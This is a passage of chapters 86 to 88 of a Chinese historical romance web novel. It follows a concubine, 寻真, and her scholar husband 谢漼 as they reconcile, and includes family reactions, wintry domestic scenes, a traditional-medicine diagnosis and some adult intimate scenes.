“方才不是也答应了真儿,不再勉强真儿做任何事,一切都随你自己的心意?” 寻真知道有些问题是无论如何都解决不了的。 她跟谢漼的思想终究是隔了一道巨大的鸿沟。 谢漼:“真儿还有何想法,都一并说与我听。” “莫要将事都藏在心里头。” “真儿不说,为夫便是想破脑袋都想不出。” 寻真:“……你不是状元吗?” 谢漼:“状元又如何?真儿之心难测,为夫便是将世上所有的书都读遍,都猜不出半分真儿的心思。” 谢漼便见着她那眼珠灵活地转了转,十分狡黠的模样。 “我说什么你都会答应我吗?”她问。 若是平时的谢漼,断不会贸然应下。 再怎么样,都会加个前缀,比如——只要不是悖逆伦常、僭越礼法的事,为夫都可答应你。 可看真儿展露如此可爱的一面,谢漼许久未看到,心跳都不自觉加快了许多。 那一刹,谢漼不禁想,无论她说什么,他都要想尽办法为她做到。 于是,谢漼脱口便道:“真儿但说无妨,为夫定答应。” 寻真:“你以后别在我面前自称‘为夫’了!” 谢漼的表情有一瞬间的崩。 寻真难得看到谢漼这样子,有点想笑,但忍住了:“你不是说‘定答应’吗?” 谢漼笑了笑,转瞬恢复了正常:“如此小事,怎能不应?” “还有吗?” 寻真眼珠子又转了一圈,“还有,我想……” 谢漼:“你想什么?” 寻真:“我想叫你——” 寻真凑近,抬起头,右手弯起,拢在他耳朵边。 用气声对他说:“谢漼。” “可以吗?” 热气一股股地窜入谢漼耳中,谢漼的耳尖动了动,微微泛红了。 寻真看向谢漼,眨了眨眼睛。 下一秒,谢漼握着她的腰,用力吻了上来。 将寻真吻得气喘吁吁,面颊粉红。 谢漼的桃花眼熠熠闪着光:“我字缮之。真儿想怎么唤,都可。” 寻真哦了一声:“谢漼,谢漼,谢漼,谢漼……” 谢漼笑着:“还有吗?” 寻真想了会,摇摇头:“暂时没了。” 谢漼:“真儿若想到了,随时都可与为——” 谢漼突然意识到什么,卡了一下,改口:“与我说。” 寻真弯着眼睛笑。 谢漼的手在她腰间抚了抚:“那今日,我便歇在真儿这儿了?” 寻真对上谢漼暗示的目光,耳根红起来。 其实……在那方面,她也是有需求的。 别的不提,谢漼这张脸,这身材,确实挑不出毛病。 要是出去了,还真是吃不到谢漼这种级别的了。 谢漼起身正要唤人,寻真按住了他,神色有些不自在,道:“我的东西都搬出去了……别人是不是都知道我要走了?这样会不会……要不我还是……” 谢漼:“真儿不必忧虑此等小事,东西再搬回来便是。” “放妾书还未在官府备案,论名分,你仍是我的人。” “旁人再如何说,真儿都无需在意,若有人胆敢放肆到你面前,你只管告诉我,自有我为你做主。” 寻真哦了一声。 谢漼:“此后,真儿安心待在我身边,旁的事,都有我。” 谢漼唤丫鬟烧水,言下之意便是要留宿了。 月兰哪能不明白,顿时满脸喜色,吩咐丫头们做事,告诉了引儿这一好消息。两丫鬟开心得抱在一起。 寻真沐浴完,走进卧房。 谢漼坐在床边看书,散着衣襟,中间露出一小片洁白滑腻的肌肤。 “真儿。”他唤了一声。 寻真走过去,被他拖入怀中,放到膝上。 寻真双臂勾住他的脖子,同他接吻。 第86章 第86章“融化” 软帐内,热汗交织。 寻真腿脚发软,向前爬去,热源迅速逼近,将她重重包围。寻真贴墙,手掌绵软无力,撑着墙。 谢漼环着她的腰,咬她耳垂:“真儿这回,实在太可恨,叫……我受了这么多日的苦,我可要好好讨回来。” 寻真眼前颤抖,视线模糊。 往下,抓住了谢漼。他大腿上滑溜溜的,不知道黏着什么,想叫他停,开口却只能发出含混不清的声音。 又被谢漼堵在墙角,无处可逃,咬牙强忍着。 眼前泛起了湿意。 …… 寻真感觉自己的魂已经飞了出去。 身体沉浸在余韵中,久久未能缓过来。 她半阖着眼,朦胧间,感觉到谢漼将她抱起,又唤了人来收拾。寻真实在太累,身体几乎动不了,隐约记得床上一片凌乱,有些不好意思,提起最后一丝力气,将脸埋进了谢漼胸前。 浴房中,雾气氤氲。 谢漼帮她擦拭着,动作轻柔,寻真觉得舒服,眼睛缓缓闭上,头慢慢地落下去,磕在了谢漼的胸膛上。 然后伸出手,将身前的人抱住了,头轻轻蹭了蹭。 谢漼的动作骤然停住,心都要融化了,身体僵了许久,才抬起手,摸了摸她的后脑。 而后低下头,吻了吻她的发丝。 寻真在谢漼的怀中醒来。 寻真刚睡醒,两眼朦胧中,跟谢漼的视线对上了。 “真儿。”谢漼的眼神清明,显然是醒了许久。 寻真懵懵的:“……嗯……你今天不去……” 谢漼知道她要问什么,嗯了一声:“我今日休沐。” 寻真哦了一声,又问:“现在是什么时辰了?” 谢漼:“辰时二刻,昨日真儿睡得少了……不如再睡一会儿?” 寻真脑子昏昏沉沉的,应了一声,谢漼便拍起了她的背,寻真又睡了过去。 寻真睡饱了,再醒来,谢漼已不在了。 走出房门,谢漼正坐在双人秋千上看书,他身侧摆着茶和糕点,很是悠闲。 寻真走过去,谢漼看着她,拍了拍身侧的位置:“真儿,坐。” 寻真在他身边坐下,谢漼顺势揽住了她的肩,忽然感慨道:“如今才知何为神仙日子……” 又低下头,问道:“真儿应记得昨日答应了我什么?” 寻真靠在他肩上,嗯了一声。 谢漼握着她的肩,紧了紧:“真儿记得便好。” “若这回再失信,我便不会那么轻易地……放过你了。” 寻真拖长了语调,哦了一声,抬起头来看谢漼,勾了一下谢漼的脸:“你要怎么不放过?” “若真儿再犯。” “我便为你量身打造一副镣铐,将你锁在床榻上。”谢漼压低了声音,在她耳旁道,“整日……” 寻真被谢漼说红了脸,推了他一把,往里跑进去了。 承安见自家主子满脸春风,心下虽觉有异,但还是尽职地问,何时将放妾书送往官府,好将此事了结。 岂料谢漼却说不必,柳氏仍旧留下。 这实在不像主子平日的行事风格,承安震惊,还以为自己听错。 谢漼并未解释,只摆了摆手,叫他退下。 承安便又吩咐瑞宝将寻真的东西运回来,还特意叮嘱不必着急,慢慢运送即可。瑞宝纳闷,刚把朱雀门那宅子收拾干净,就等着姨娘搬进去,怎么又变卦了? 瑞宝挠了挠头,领命去办。 先前闹出来的那阵仗太大,府里上上下下几乎都知道了这件事,承安只觉得头都大了,尤其二夫人还专门来问他事情进展得如何了,柳氏是否已搬离府中。 二夫人还给了张单子,上面列着给寻真的补偿。 虽谢漼事先交代 ,若二爷那边问起,如实相告便可,承安仍难以启齿,只能硬着头皮,向二夫人说了实情。 孙氏听了之后,不敢相信,又追问确认道:“真的?” 承安点头。 意气用事要放妾,临了又反悔,将人留下。 这种糊涂事,实在不像是谢漼会做出来的。 孙氏回去后,将此事告诉了谢二爷。 谢二爷的第一反应也是不信,再三确认之后,也是一脸的难以置信。 他好好的一个侄儿,怎变成这样了? 莫不是要步他爹的后尘? 谢二爷立刻遣人叫谢漼过来。 谢漼正在寻真院中。 榻上,一个坐着,一个躺着。 寻真枕在谢漼大腿上,仰面吃葡萄。 谢漼试图阻止:“真儿若要进食,理当坐起,如此躺着,稍有不慎,怕是会呛到自己,且亦会……” 寻真直接举起手,用一颗葡萄塞住了谢漼的嘴。 寻真侧躺着,看了会儿书,又无聊起来,抓起谢漼的大手,玩起了他的手指,捏一捏、扯一扯。 直到外面有人通报,说谢二爷要见他。 谢漼起身,寻真瞄见谢漼衣摆溅上了几滴葡萄汁,找了块帕子给他擦。 谢漼戳了下寻真的脑门,眼中含笑:“以前也没发现,真儿竟这般淘气。” “有时我都分不清,你与恒哥儿,到底哪个才是孩子。” 寻真瞪了他一眼。 谢漼俯身,亲了亲她的脸颊:“我与二伯见完,便回来。真儿等着我。” 寻真:“嗯。” 谢二爷一见到谢漼,便觉得他很不对劲,定睛细看,侄儿这脸上,满是喜色,眉眼处春光荡漾。 这是碰上什么好事,让他这侄儿乐成这德行? 谢二爷开门见山问道:“缮之,你与那柳氏到底是何情况?” 谢漼正色道:“侄儿与柳氏先前有所误会,侄儿一时激愤,便说要出了她。如今误会已解,我亦反思此前做法,实有不妥。” “怎能将有子之妾逐出府去?实在有违情理。如今我已自省,日后定不会再犯此错。” “侄儿此番行事轻狂,让二伯见笑了。” 谢二爷上下看看他,倒也坦诚,知道自个干出了个什么糊涂事。 谢二爷叹气:“我原先听你二伯母说,还不信,竟是真的。缮之,你莫怪我多言,二伯怕你,跟你父亲一样……你大好前程,若是被女色所误……” 谢二爷言外之意,谢漼自是清楚:“二伯放心,侄儿心中自有一杆秤。” “且知情不可纵,志不可移。喜怒哀惧之发,皆应中于节度,合于本心。” “情若得中而和,心自泰宁,以此心境谋功业,自能静而有智,处变不惑。” 听到谢漼这番话,谢二爷稍稍放下心来,侄儿到底与四弟不同。 还是清醒的。 谢二爷也不再多言:“你心里有数就好。” 谢漼拱手,鞠了一躬:“多谢二伯体谅。” 晚上,谢二爷还是觉得可惜,心中有种说不出的滋味,与夫人道:“我本以为缮之总算是厌弃了那柳氏,心里还松快了些,可今日见了,那样子瞧着,像是陷得更深了些,若是那柳氏……” 孙宜自然知道丈夫担心什么,宽慰道:“你向来对侄儿赞誉有加,如今反倒不信他能管住自个儿了?” “缮之他自是有分寸的,若那柳氏心气高了,妄生事端,侄儿心眼明亮,怎可能纵着?” “你就放心吧。” 谢二爷叹了一气,思忖许久,又道:“若那柳氏影响了侄儿的仕途,便不能留。” 孙宜:“那是自然。缮之岂是那等糊涂不明之人?若柳氏行悖逆之事,第一个处置她的,必是侄儿。哪用得着你操心?” 谢二爷:“但愿如此。” 寻真的东西陆陆续续被运回来。 谢府其他人观望了几日,见清挽院没什么动静,便又私下里议论起来,将此事当作茶余饭后的谈资。因不明事情真相,传着传着就变成了——五公子本要将柳氏逐出府去,柳氏便施展那等子见不得人的手段笼络住了,五公子才改了主意。 谈了几日,又有新的八卦传出,这事便渐渐被众人淡忘。 谢璋最近却有些烦。 一连几天,谢漼都不在院中歇。下了值后,也只是匆匆见谢璋一面,说几句话便离开了。 谢璋就感觉自己被冷落了,整日垮着张小脸。 这日,谢漼一走进院子,衣摆便被谢璋扯住了。 谢漼低头:“恒哥儿。” 谢璋看着谢漼,爹最近好像很开心呢。 谢璋:“爹,我今日想跟你睡,可以吗?” 谢漼:“恒哥儿都三岁了,怎还要与人一起睡?可是一个人睡觉,怕黑?” “才不是!”谢璋跺了一下脚,小脸红了红,“爹一会又要去找谁呢?” 谢漼答应谢璋的事,当然没忘。 只是他才与真儿重修旧好,正是关键时期。若是跟恒哥儿说了,定会整日吵着要见真儿。 他已答应了真儿,此后不再勉强她做任何事。 恒哥儿的事,便只能先放放,慢慢来。 谢漼:“爹是要去做正事。” 谢璋抿了抿唇,委屈巴巴。 谢漼便陪谢璋吃晚膳,吃完,又教了他一个时辰的功课,而后在床边耐心哄他睡觉。谢璋闭上眼睛,谢漼总算松了口气,起身,整理衣服。 正要往外走,外袍又被扯住了,谢璋的小脸贴着他的手臂。 声音软软的:“爹要去哪儿呢?” 怎这般黏人。 谢漼心中叹了一气,继续拍着谢璋的小身子,哄他睡觉:“爹哪儿也不去,恒哥儿快睡。” 等谢璋彻底熟睡了,谢漼才起身。 寻真以为谢漼今晚不来了,便没等多久,直接上床睡了。 迷迷糊糊间,突然被卷入一个怀抱。 两只大掌在身上作乱着。 寻真很困,把他的手拿开,哼哼几声,往床里缩了缩。 那手掌愈发放肆,将她困意都捏没了。 寻真紧贴着谢漼的背,脑子还不清醒,他忽然挤入了。 寻真的脚绷紧。 谢漼的声音钻入耳中,痒痒的:“真儿怎不等我,昨日不是与你说了,我今日会来么?” 寻真:“我是看……很晚……还以为你……” 谢漼的声音带着几缕埋怨:“还不是恒哥儿,一直缠着我,一动便扯着我衣裳,不叫我走,害得我…… 寻真:“……好了……我不要了……” 谢漼安抚着,大掌擦去她脸颊的汗,在她耳边轻哄:“真儿且在忍忍,很快便好了。” 夜间,细雨如丝,携着寒气而来。 寻真窝在温暖的怀抱中,睡得香甜。 谢漼要去上值。他亲了亲怀中人的额头,将寻真放开,正要起身,那双手臂又缠了上来,似是感受到了凉意,往他怀里钻了钻,寻找温暖。 若是休息时,寻真这般主动,谢漼定舍不得松开。 可一会要上值,谢漼向来守时,不能再耽搁。 于是,谢漼狠心将寻真的手臂拉开。 可不料,刚拉开,又缠了上来。 寻真在睡梦中,只觉得抱着一个巨大的热水袋,舒服极了,便不想放开。 谢漼拉了几次都被缠得紧紧的,无奈拍了拍寻真的肩,轻唤:“真儿,真儿……” 寻真睁开眼睛,睡眼惺忪:“……嗯?” 谢漼:“我要去上值,等晚上再来陪真儿?” 寻真哦了一声,松开手,裹紧被子,转到里面继续睡。 谢漼跨出院门后,恍然。 原来恒哥儿那般黏人竟是随了娘。 摇头,笑了笑。 第87章 第87章“软软嫩嫩” 十月末,寻真三年前种下的橘子树,可以摘了。 今年的冬天来得格外早,十一月初,天空飘起了小雪。 雪从早下到晚,到了暮霭时分,外面白茫茫一片,天地间一片清冷。 室外,风冽冽吹雪。室内,炭火正旺。 谢漼来的 时候,寻真与月兰、引儿围坐在炭盆旁,烤橘子。火舌舔舐橘子皮,发出“滋滋”的声响,散发出一种独特的木质焦香。 寻真拿起烤橘子,被烫得一哆嗦,橘子在她手中翻滚了几下,“噗通”一声落地,扬起碳灰。 她蹲下身子,一边被烫得直呼气,一边又迫不及待地剥橘子。时不时摸一下耳垂,试图缓解热度。 月兰递上一个干净盘子,寻真将剥了一半的橘子放进去。 室内很静,门咔吱一声被推开,寒风裹挟着雪粒吹入,三人都望过去。 见是谢漼,二丫鬟上前唤了一声,关上门,退下。 寻真蹲在地上,仰头看谢漼。 这是一年中谢漼穿得最厚的时期。 玄色衣袍,外披月白鹤氅,脚踩鹿皮长靴。 他身后飞雪漫天、纷扬。 虽穿得很多,却一点都不显得笨重,他看上去有种轻盈的感觉。 寻真的脸被炭火烤得红彤彤的,蹲在地上看谢漼,一时忘了起来。 谢漼解了鹤氅,抖落上面的雪粒,将鹤氅挂在一旁的架子上,走过来,在炭盆前蹲下,伸手烤火。 在炭火的映照下,如玉面庞覆上一层橙光,长睫在眼睑处投下浅浅的扇形阴影,薄唇透着诱人的绯红。 谢漼这张脸真的没的说,怎么长成这样的? 要搁现代,可以当明星了吧? 不过也不一定,镜头可是很残酷的,会把人脸拉宽,没准谢漼这张脸不适合上镜,到荧幕上就丑了? 寻真蹲在地上,思维扩散之时。 谢漼已将手烤暖,上前拉寻真。 寻真蹲久了腿麻,哎呦一声,扑到谢漼身上。 他身上暖融融的,寻真抱住了谢漼的腰。 头顶上方传来低沉的笑声,接着谢漼将她打横抱起,放到榻上,捏捏寻真的脸。 谢漼:“真儿怕冷,明日我便叫人送些瑞炭过来。” 寻真埋在他胸前,用力吸了一口气。 谢漼摸着她的发顶。 寻真仰起头:“你身上到底喷了什么,怎么总是这么好闻?” 谢漼闻言一笑,似乎是想起了什么:“不过是我闲暇时随意调配的香料,让人熏在衣物上罢了。你若喜欢,我多做些给你?” 寻真哦了一声,又嗅了嗅。 谢漼正要说什么,见寻真盯着自己,两只眼珠子一动不动,目光炯炯。 “……真儿在看什么,可是我脸上——” 寻真直起身子,啄吻谢漼,发出微弱的“啵啵”声。 他的唇,干燥而温热,软软嫩嫩。 亲起来触感真的很好。 谢漼被寻真撞得往后仰,眼中漾出笑,正要回吻,寻真却突然从他怀中跳下去:“对了,差点忘了我的橘子。” 寻真捡起地上的烤橘子,剥了一瓣,放入嘴中,温度刚刚好。 接着又剥了一片,递向谢漼。 “要吃吗?” 谢漼凝视着她,没张嘴。 寻真忽然意识到,这烤橘子在地上滚过,自己手上还沾着碳灰。谢漼自幼便养尊处优,金尊玉贵,平时又对生活细节极为讲究,怎么可能吃地上的东西?更别提,谢漼还有洁癖。 寻真脸上顿时露出尴尬的神色,要是被拒绝就更尴尬了。 正打算缩回手,谢漼却倾身过来,含住了她手中的橘子瓣。 谢漼慢慢咀嚼着,吃下后,他长臂一伸,将寻真揽入怀中,吻去她嘴角残留的橘子汁。 谢漼:“真儿亲手种的橘子,格外清甜。” 寻真见他唇角沾了碳灰,取了帕子,为他擦拭。 谢漼静静地看着她,目光深邃而专注,那对桃花眼带着笑意,眼尾微扬。 潋滟生波,脉脉含情。 寻真回望着。 看着这眼神,会让她觉得,谢漼好像爱死了她。 寻真忽然想起不知在哪看到的一句话——桃花眼看狗都深情。 但此刻,寻真什么都不想管。 今朝有酒今朝醉。 寻真捧住谢漼的脸,吻了上去。 窗外,雪花依旧纷纷扬扬,室内感受不到一点寒气,寻真被温暖包裹着。 宽敞的榻上,铺着柔软的毡毯,谢漼轻柔的吻一点点落下。 寻真看到,谢漼动情的脸上染上好看的绯色。 原来是这样的。 “……谢漼。” “嗯,真儿。” 寻真想再向谢漼确认,话在喉咙口转了转,最终还是咽了进去。 翌日早,窗外的雪已停了,谢漼休息,便陪着寻真一起睡懒觉。 但寻真实在太会赖床,愣是在床上吃完午饭都没起身。 谢漼实在看不过去,说了她几句。 谢漼穿戴整齐,立在床边:“真儿莫不是打算整日都赖在床上,不起来了?” 寻真趴着看书,连头都没往他那边转一下,手在床边的几案上摸索着,拿了一块栗子糕,仰头丢进嘴里,瞥见床上落了些糕点碎屑,便爬起来,手快速拂拭、拍着,确认床铺干净后,又“嗖”地一下瘫倒回去,重新窝回被子里。 寻真抽空看了谢漼一眼,见他还立在那儿,便说:“一会儿就起了。” 谢漼:“恒哥儿可从不赖床,每日辰时之前必定起身,也从未在床上进食。真儿怎都不如一个三岁孩童做得好呢?” 谢漼怎么总喜欢拿谢璋跟她比? 寻真:“他是他,我是我。” “而且你不在的时候,我冬天都是这么过来的。又不出门,在床上跟在别的地方又有什么区别?” 谢漼:“若是病了,在床上进食,起居失仪,倒可体谅,但真儿身体康健,却整日赖在床上,此非养生之道,于身大有害。” “久卧伤气。饱食即卧,积而淤滞。” “长此以往,脾胃受损,气血痰食交阻,病邪便易侵体。” “真儿……” 寻真捂住了耳朵,往床里滚去。 谢漼盯了一会,膝盖撑着床沿,身体往里探去,将她从被子里整个挖出来。 寻真身上只穿了件抹胸,惊呼出声,瞪圆了眼睛:“谢漼!你干什么?” “真儿发懒,不愿起床穿衣。便只能为夫代劳。” 谢漼先前好几次嘴瓢,说出个“为”字,但又想起对她的承诺,立刻改口。 但这次不像是不小心,看谢漼的脸色,是故意的。 寻真指着谢漼的鼻子:“你答应过我的!” 谢漼面不改色:“近墨者黑。真儿总耍赖,为夫便也只能有样学样。” “我什么时候‘总’耍赖了?!不就那么一次么?” 谢漼语气不紧不慢,开始举例,比如某次,大白天便抱着他暗示求欢,他真来了,没一会便哼哼唧唧说受不住,不要了。 “……为夫心疼真儿,总尽不了兴。” 谢漼口中一连蹦出好几句“为夫”,像是好久没叫了,一次叫个爽。 这种事被谢漼一本正经说出来,有种莫名的耻感,寻真很想叫他闭嘴。 “好了,我知道了!” 室内燃着瑞炭,暖气融融,寻真只穿了件抹胸也不觉得冷。 谢漼将她抱到了衣柜旁的矮塌上。 寻真学谢漼以前总对她展示的姿势,大爷似的张开手臂,等谢漼给她穿衣。 等了许久,却不见谢漼有任何动作。寻真转头望去,谢漼俯视着,视线凝着某处。 寻真还没来得及反应,宽厚的手掌便穿过了后背的细带,向前覆盖。 寻真脸上泛起红晕,谢漼欺身,将她环住,抱到全身镜前。 他提了提她的腰,然后摸摸她的头,声音缓缓:“真儿乖,自个儿站着。” 寻真颤着,手掌按住了镜面。 最后,寻真实在撑不住了,谢漼便将她抱回了床上。 寻真眼眶湿湿,声音可怜,抓着谢漼撑在一旁的手臂摇了摇:“好了吧……” 谢漼回以激烈的吻。 半个时辰后,寻真环着谢漼的腰,脑袋缩在他胸膛前,嘴里含糊地说着什么。谢漼凑近她,温柔地问,“真儿说什么?” 寻真抬起脸,眼睛只留一条缝:“……我好困,要 睡觉……” 谢漼将她晃醒了:“不可,现在睡了,晚上还要不要睡了?真儿躺一会,便得起来。” 寻真闭上了眼:“不要。” 谢漼又将她抱起来,这回是真的替她穿好了衣服。 寻真坐在榻上,还是困困的,全身都乏,整个人软绵绵地靠在谢漼身上。 谢漼搂着她,给她把脉。 寻真感受到腕间被触着,闭着眼睛问:“我脉象怎么样?” 谢漼沉默着,没有回答。 气氛瞬间变得有些凝重。 寻真一瞬清醒了,背上冒出一片冷汗,坐了起来。 最近总感觉虚虚的,很想睡觉,浑身都提不起力气。 她该不会……怀孕了吧? 最近频率太高,几乎每天都做,而且不止一次。 虽然谢漼一直都没有弄进去,但这种方法毕竟不是万全之策。 万一中了…… 她要生下来吗? 谢漼肯定不会同意让她打胎的吧? 就算能,这里医疗条件落后,药流万一流不干净,可是要命的啊! 寻真额头上也渗出了细密的汗珠,那个梦又浮现在眼前。 谢漼一直没有说话,寻真紧张地握住了他的手:“……我怎么了?” 谢漼神情凝重:“肾精损耗。” 寻真:“……嗯?” 谢漼:“是我的不是。真儿近日嗜睡,不能怪你……你的身子本就虚弱,我还如此不加节制,实在不该。” 寻真松了口气,抹去额上的汗珠。 谢漼思考片刻,写了张方子,让人去煎药。 还对寻真说:“两个月不准行房。” 这种语气。 寻真有点无语,手指戳戳谢漼的胸:“这话你应该对自己说吧?” 谢漼:“若不是真儿总勾我,我怎会控制不住?” 寻真睁圆眼:“我什么时候?!” 谢漼亲她脸颊:“每时每刻。” 气氛突然变得缱绻起来,谢漼的唇慢慢靠近,快要吻上时,寻真推开了他,眨眨眼睛,露出贼贼的笑容, 谢漼知道她心里准没想什么好的。 果然,寻真的视线向下望去,暗示性地点了点谢漼的手腕:“你要不要给自己也把一把?” “万一也那啥……” 肾虚呢。 寻真没说出口,给谢漼留了点面子:“等会药煎好了,咱们一起喝吧?” 谢漼轻轻拍了下她的脑门,又点点她脑袋。 “都乱想什么。” “我自然是好得紧,无须真儿忧心。” “等真儿身子养好了,定叫你好好见识一番。” “哦哦哦。”寻真笑嘻嘻地,手伸过去,拍拍他下腹,“那我就等着了?” 谢漼看着她。 那眼神,很想说她的样子,但又忍住了。 寻真弯着眼直乐。 谢漼对于寻真这一点,心底还是稍稍存了些意见。 有时说话,荤素不忌。 虽平日里在亲密之事上,谢漼主动的时候居多,但寻真有了需求,也会大方提出。问的时候,她面上虽带着几分羞赧,神情却又十分坦然,丝毫没有以此为耻。 一点都不像旁的女子……谢漼虽没经历过别的女子,但就是觉得,真儿这种的,世间断寻不出第二个来。 谢漼说要禁欲,便真的硬忍着,不再与她接触。 晚上还让人抱来一床被子,跟寻真分开睡。 这些日子,寻真习惯了谢漼抱着她睡。 那种浑身被温暖包裹的感觉,很上瘾。 谢漼没抱着她,寻真竟有些睡不着,纠结许久,冒着会被谢漼嘲笑的可能性,偷偷从自己的被窝中挪出来,钻进谢漼的被子里。 谢漼虽也不习惯,努力克制,心中默背清静经,也就慢慢有了睡意。 耳旁传来窸窸窣窣的声音,谢漼有所察觉,睁开眼。 于此同时,怀中一热。 微弱光线中,两人的目光交汇。 寻真抱着谢漼的腰,一脸无辜地看着他。 “……真儿,怎了?”谢漼嗓音有些哑。 寻真:“……我习惯你抱着了,睡不着。” 谢漼便环住了她,声音些许无奈:“我又何尝不是……只真儿也要体谅我——” 他声音戛然而止。 寻真感受到了什么,趴在谢漼身上,小声地提议:“要不……我帮你?” 谢漼哑着声:“真儿如何帮我?” 寻真手摸索着,朝下。 谢漼的呼吸瞬间变得急促起来,他吻住寻真,舌尖深入她的口中,汲取。 寻真已经学会了在接吻时换气,不再像刚开始那样容易缺氧,直到手上一湿,黏腻的感觉传来,谢漼的吻也慢了下来。 寻真却加快了,一只手捧着他的脸,吮吸他的唇瓣,眼睛热热的,“怎么办?我也想……”寻真抓着谢漼的手,挪去,“要不……礼尚往来?” “不可。”谢漼严词拒绝,抽回了手,“我白日不是都与你说过了?” 寻真不敢相信,刚才还声音低哑,满脸沉浸其中的模样。 这么快就变脸了? 寻真震惊,脱口而出:“你怎么爽完就拉上裤子不认人了?” 昏暗中,谢漼倒抽了一口凉气,显然是被她如此粗俗的话给震住了。 谢漼:“真儿一女子,怎么说这般……” 谢漼似是找不到合适的形容词,又或者是那形容词让他说不出口,总之他略过了,“不像话,在床帏间便也罢了,白日里可不能再说这种话!” 寻真呵呵,推开他,往回挪去。 谢漼一把捞住,语气软和了些,下巴搁在寻真的肩上。 “真儿以为,我白日是说着玩儿的?” “肾精缺损可不是小事,若不好好调理,时间长了,身体便会出现各种虚损之象。” “例如骨骼失养,腰膝无力,或是耳鸣、耳聋、齿摇、发脱……” 寻真:“……哦。” 谢漼摸摸她的脸:“真儿怎就与我气上了?” “我都是为了真儿的身子着想……”谢漼压低了声音,热气吹着寻真的耳朵,“……不入真儿身子,用手,也是一样的,都会致使肾精亏虚。” 寻真:“那你好好说不行吗?那么凶干嘛?” “我何曾?”谢漼回想,方才的确是一时着急,便言辞重了些,软着声音哄道,“是我的不是,真儿莫要气了……我下回注意,再不这样了,嗯?” 寻真气哼哼,转过头,用脑袋撞了一下谢漼的胸膛。 谢漼环住,拍了拍:“好了,真儿睡吧。” 结果第二日,谢漼就尝到了苦果。 谢漼抱着寻真,很快有了反应,想让寻真帮他。 寻真想起昨天,还有些气:“你自己没有手吗?” 谢漼便低声哄了几声。 寻真意志坚定:“我不。”还故意晃了晃自己的手,当着谢漼的面,背到身后。 谢漼用力抱住她,咬了一口她的肩。 “真儿怎如此记仇。” 只能暗自调息,等这阵子缓过去。 寻真觉得挺好,她忍,他也忍,这样才公平。 雪一连下了七天,天地间一片银白。 寻真望着窗外,目光落在那棵橘子树上,突然忆起了什么,回头问他:“谢漼,你想不想吃橘子?” 谢漼见她眼底跳着光:“真儿心里又在打着什么歪主意?” 寻真捏住他的手掌,“走,跟我来。” 廊中,飞雪扑进来,谢漼给她系好裘衣,拂去她脸上的雪粒:“真儿要吃橘子,吩咐下人去摘便是,外面风雪烈,若是吹冻了……” 寻真捏着他的手掌,晃了晃,笑得狡黠。 谢漼想随她去,却被她推了一下。 “你站在此地不要动,我去给你摘个橘子来。” 谢漼看着她拎起裙摆,一路踩着雪,蹦跳着跑去,摘橘子时,树枝上堆积的雪簌簌抖落,纷纷洒在她身上。 她缩了下脖子,捧着两个橘子,欢快地朝他跑来。 头上、脸上、身上都是雪。 她笑容灿烂,跑到谢漼面前,将冰凉的两个橘子丢到他怀里。 眼睛明亮,盈盈有光。 第8 8章 第88章 “可否…” 摘个橘子,怎笑得这般开心。 谢漼拉着寻真进屋,把那两个橘子放到几上,又取来一块干帕子,在炉边烘了烘,待烘热了,为寻真擦脸。 寻真仰起头,闭着眼。 谢漼将她的脸和头发擦干后,捏了捏她的鼻尖,他发现她领口处藏着一小团雪块,取出后,领口已湿了一片,正要唤人进来,给寻真换衣服。 寻真伸手,捂住了谢漼的唇,指尖触到那片温热柔软,又按了按。 谢漼垂眸凝视着她。 寻真张开了双臂,晃了晃,那意思再明显不过——让他帮换。 谢漼:“真儿这是使唤我上了瘾?” 寻真:“……不行吗?” 寻真心想,她之前给谢漼“宽衣”那么多次,怎么着也得讨回来一点吧? 谢漼一笑:“岂敢不从?” 谢漼先将她的头发拨到脑后,接着慢条斯理地解扣子,目光随着手指的动作一寸寸下移,动作缓慢,带着一丝难以言喻的粘滞感。 脱到最后一件抹胸时,谢漼的眼神变得有些异样,寻真抓住了他欲伸向背后系带的手,“好了,这件又没湿。” 谢漼顺势环住她,声音低沉、粘稠起来,在矮塌坐下,将她放在膝上,向她提出了一个请求,“真儿,可否……”然后点了点她胸前。 寻真不敢相信自己听到了什么。 眼睛瞪得溜圆。 谁说古人含蓄内敛的?在**上,跟现代人一样开放! 谢漼在她耳边轻声道:“真儿便答应我吧?这几日我实在忍得辛苦,你定也不忍心看我如此煎熬吧?” 谢漼低低恳求,寻真被他磨得实在有些招架不住,但那个又太挑战自己的节操了,红着脸:“……不行,你就不能自己来吗?” 谢漼:“只这一次。” “真儿若满足我这一回,日后便都由我来为真儿更衣。” 谢漼居然这么想要这个。 寻真瞅瞅谢漼,这六天禁欲,他确实每天都一脸欲求不满,精神也不太好。 而且她还发现,谢漼这人有种莫名其妙的坚持, 就算难受至极,憋得额头冷汗直冒,也坚决不用自己的手解决。 寻真脑子一转,想到了一个拒绝谢漼的说法。 寻真:“除了帮我更衣,我还要再加一个条件。” 谢漼:“是何?” 寻真笑嘻嘻地伸出手指,点了点谢漼的唇,暗示道:“你用这里帮我……我就答应你。” 这样总该放弃了吧! 谢漼神色平静,丝毫没有被为难的样子,反而将她圈得更紧了,低沉的声音在寻真耳畔响起:“真儿全身上下,无一处不香甜,我自然是——” “求之不得。” 寻真脑袋“轰”的一声,瞬间热了起来。 她只是打个嘴炮,没想到谢漼真的同意了。 寻真嗖的一下站起来,用手扇着风,见谢漼含着笑望着她,视线不禁往下挪去,看着那粉嫩的嘴唇,不禁在脑海中幻想出了那个画面,脸便熟透了。 这人,不仅辩论水平一流,说骚话,也是一流的。 谢漼:“分明是真儿自个说出口的,怎还羞起来了?” 寻真:“谁知道你说的是真是假?” “有本事你现在就帮我!” 谢漼:“自然是等两个月后。” “真儿仔细想想,我可曾骗过你?” “当然有!”寻真立马反驳,“你上次是不是答应我不再自称‘为夫’?” “结果呢,还不是反悔了?我可记得清清楚楚呢!” “你自己说,是不是?” 谢漼微微一滞:“不过是私底下,闺房之中的情趣罢了,这又怎能算?” “且我身为你的丈夫,以‘为夫’自称,本理所当然,你却不许我如此称呼,真儿是不是太蛮不讲理了些?” “那你也是答应我了的!” 寻真现在思路极其清晰,好不容易抓到谢漼这个把柄,定要“痛打”一番,好好说道说道。 “《尚书》中说了,‘不矜细行,终累大德’,你连这点小承诺都兑现不了,叫我如何信你在大事上能靠得住?” “《老子》中也有提到,‘轻诺必寡信,多易必多难’,你当初答应我的时候是怎么说的?” 寻真还模仿谢漼的语气:“‘如此小事,怎能不应’。” “现在呢,是不是觉得做到很难?后悔答应我了?” 见谢漼一脸吃瘪、理亏的模样,寻真有被爽到。 总算是轮到他了! 谢漼注视着她,良久,嘴角忽然上扬。 “真儿可知此刻你与我据理而争,若披华光,夺目非常,令我几不敢直视。” 